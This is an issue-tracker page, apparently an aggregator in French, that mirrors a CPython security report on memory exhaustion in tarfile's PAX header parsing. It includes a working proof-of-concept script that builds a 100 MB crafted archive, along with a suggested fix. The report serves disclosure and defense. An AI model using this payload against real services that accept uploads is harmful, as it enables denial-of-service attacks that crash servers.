[Security] Memory Exhaustion (OOM) and Resource Leak via crafted PAX Headers in tarfile

Ouverte
  • Quelque chose ne va pas ?
#161,955 0 commentaires 0 réactions 0 personnes assignées Voir sur GitHub

Les mainteneurs répondent en général sous 1 jour

Personne n'a encore pris cette issue.

Évaluation

Difficulté
3/5
Temps estimé
1-2 jours
Accessibilité débutants
30/100
Type d'issue
Bug
Clarté
Plutôt claire
Activité
Active
Stack technique
python
Domaine
security

Piste de recherche

The parsing loop is in TarInfo._proc_pax in Lib/tarfile.py, which builds the raw_headers list and then the pax_headers dict without any record limit. Read that loop, then reproduce the report with the attached PoC to confirm the memory growth. Done would mean a record or size cap that raises InvalidHeaderError, plus a test in Lib/test/test_tarfile.py. Because this is a security report, check with maintainers before opening a public PR.

Rédigé par le modèle d'indexation à partir du texte de l'issue.

Description

type-bug
Bug report

Description:
I have identified a critical Denial of Service (DoS) vulnerability in the tarfile module of Python 3.15.0. A crafted tar archive containing a malicious PAX extended header (XHDTYPE) can force the Python process to consume an extreme amount of memory instantly, leading to an Out Of Memory (OOM) crash. Furthermore, the memory is not released by the garbage collector after the extraction operation completes.

Vulnerability Details:

Location: tarfile.TarInfo._proc_pax

Root Cause: The _proc_pax function parses the PAX header data block in a while loop without enforcing any limit on the number of records. An attacker can craft a valid PAX header data block (e.g., 100MB) filled entirely with minimal-length valid records (e.g., b"5 a=\n" which is 5 bytes per record).

Impact: The parser will create over 20 million key-value pairs in the raw_headers list and subsequently in the pax_headers dictionary. This rapidly exhausts system memory. In real-world web applications (e.g., Django, Flask, CI/CD runners) that process user-uploaded tar files, this instantly kills the worker thread and can cause the entire host OS to trigger the OOM killer.

Resource Leak: After the extraction completes (returning HTTP 200), the huge memory allocation is not immediately reclaimed by Python's garbage collector due to the massive number of objects created, leaving the server in a zombie state consuming multi-gigabyte RSS memory indefinitely.

Proof of Concept (PoC):
This PoC simulates a backend service receiving a file upload and extracting it.

Attacker Script (Generates and sends the payload):

python
import tarfile
import io
import urllib.request

def create_pax_bomb():
# Minimal valid PAX record: "5 a=\n" (5 bytes)
record = b"5 a=\n"
target_size = 100 * 1024 * 1024 # 100 MB
num_records = target_size // len(record)
payload_data = record * num_records

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode="w") as tar:
    info = tarfile.TarInfo("././@PaxHeader")
    info.type = tarfile.XHDTYPE
    info.size = len(payload_data)
    tar.addfile(info, io.BytesIO(payload_data))
    
    normal_info = tarfile.TarInfo("test.txt")
    normal_info.size = 0
    tar.addfile(normal_info)
return tar_buffer.getvalue()

Send via HTTP POST...

Server/Extraction Script:

python
import tarfile

When the server calls this:

try:
with tarfile.open(filepath, "r:") as tar:
tar.extractall(path=EXTRACT_DIR)
print("Extraction complete.")
except Exception as e:
print(e)
Execution Result:

The server script prints Extraction complete (or HTTP 200 success).

However, observing the process memory (Task Manager / psutil) shows memory usage instantly spiking to multiple GBs.

After the extraction finishes, the memory is not released, leaving the process hanging and unresponsive.

Suggested Fix:
Add a hard limit to the number of records or the maximum size of the PAX header that tarfile is willing to process.
For example, in _proc_pax, enforce a maximum record count (e.g., MAX_PAX_RECORDS = 10000) or a maximum total size for the raw_headers list, and raise InvalidHeaderError if exceeded.

sever.py

PoC.py

CPython versions tested on:

3.15

Operating systems tested on:

Windows

Langage dominant
Python
Étoiles
78.2k
Forks
36.6k
Merge moyen
19 h 57 min
PR mergées (30 j)
630

Préparer son environnement

Ouvrir dans Codespaces

Lance le conteneur de développement du projet dans votre navigateur, avec votre propre compte GitHub.

Par où commencer

  1. Lisez l'issue en entier, puis le guide de contribution du projet.
  2. Signalez en commentaire que vous la prenez — cela évite que deux personnes fassent le même travail.
  3. Forkez le dépôt et travaillez sur une branche.
  4. Ouvrez une pull request qui référence le numéro de l'issue.

Autres issues de python/cpython

Toutes les issues de python/cpython

Issues similaires

Plus d'issues Python

Recevez les nouvelles issues par e-mail

Un résumé court des issues GitHub adaptées aux débutants.